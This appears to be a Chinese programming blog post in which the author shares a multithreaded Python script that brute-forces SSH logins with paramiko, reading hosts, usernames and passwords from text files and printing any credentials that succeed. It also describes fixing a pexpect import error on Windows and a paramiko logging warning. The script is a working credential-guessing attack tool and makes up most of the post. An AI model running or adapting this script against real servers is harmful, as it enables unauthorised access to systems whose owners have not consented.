设为首页 加入收藏

TOP

python ssh弱口令爆破多线程脚本及遇到的一些错误与问题
2017-09-30 16:15:53 】 浏览:5460
Tags:python ssh 口令 爆破 线程 脚本 遇到 一些 错误 问题

练习写了个SSH弱口令爆破多线程脚本,遇到的问题

1、一开始想import pexpect 中的pxssh 然而却一直该有错误,

ImportError: cannot import name spawn

google了下问题都说的很模糊也不清楚。有的说是pexpect模块没安装好,有的说是python import的问题,因为在lib中已经有了spawn模块,与pexpect模块中的spawn重名了,所以报错。但也都没说清楚该这么弄。最后在here这里看到了问题原因,原来是pexpect根本不支持windows,我们可以用paramiko模块来解决这个问题。

2、写完代码后,使用多线程后,虽然不报错,但结果会有警告,

提示:No handlers could be found for logger “paramiko.transport”

 

 

 

我在这个网站this_web找到解决方案。只要加入一行代码就行了。

paramiko.util.log_to_file("filename.log")

因为我们没有配置日志,所以根应用程序和模块不知道在哪里发送日志。所以只要将所有的连接都记录到文件中就可以啦。

代码丑将就看看。

 1 #!usr/bin/env python
 2 #!coding=utf-8
 3 
 4 __author__='zhengjim'
 5 
 6 import paramiko
 7 from threading import Thread
 8 
 9 def connect(host,user,pwd):
10     try:
11         ssh=paramiko.SSHClient()
12         ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
13         ssh.connect(hostname=host,username=user,password=pwd,timeout=5)
14         ssh.close()
15         print '破解成功!用户名:'+ user +',密码:' + pwd + ',主机IP:'+ host
16     except:
17         pass
18 paramiko.util.log_to_file("filename.log") 
19 host=open('host.txt')
20 for line in host:
21     host=line.strip('\n')
22     print '开始爆破主机:'+host
23     user=open('user.txt')
24     for line in user:
25         user=line.strip('\n')
26         pwd =open('pwd.txt')
27         for line in pwd:
28             pwd = line.strip('\n')
29             t=Thread(target=connect,args=(host,user,pwd))
30             t.start()

目录下需要host.txt,user.txt,pwd.txt三个文件

还有个问题就是,因为使用多线程,并且对多线程不太了解,所以程序不能在匹配到正确账号密码后跳出循环。望大牛可以教教我。~

 

】【打印繁体】【投稿】【收藏】 【推荐】【举报】【评论】 【关闭】 【返回顶部
上一篇爬虫1:get请求的翻页及思考 下一篇Python环境配置及项目建立

最新文章

热门文章

Hot 文章

Python

C 语言

C++基础

大数据基础

linux编程基础

C/C++面试题目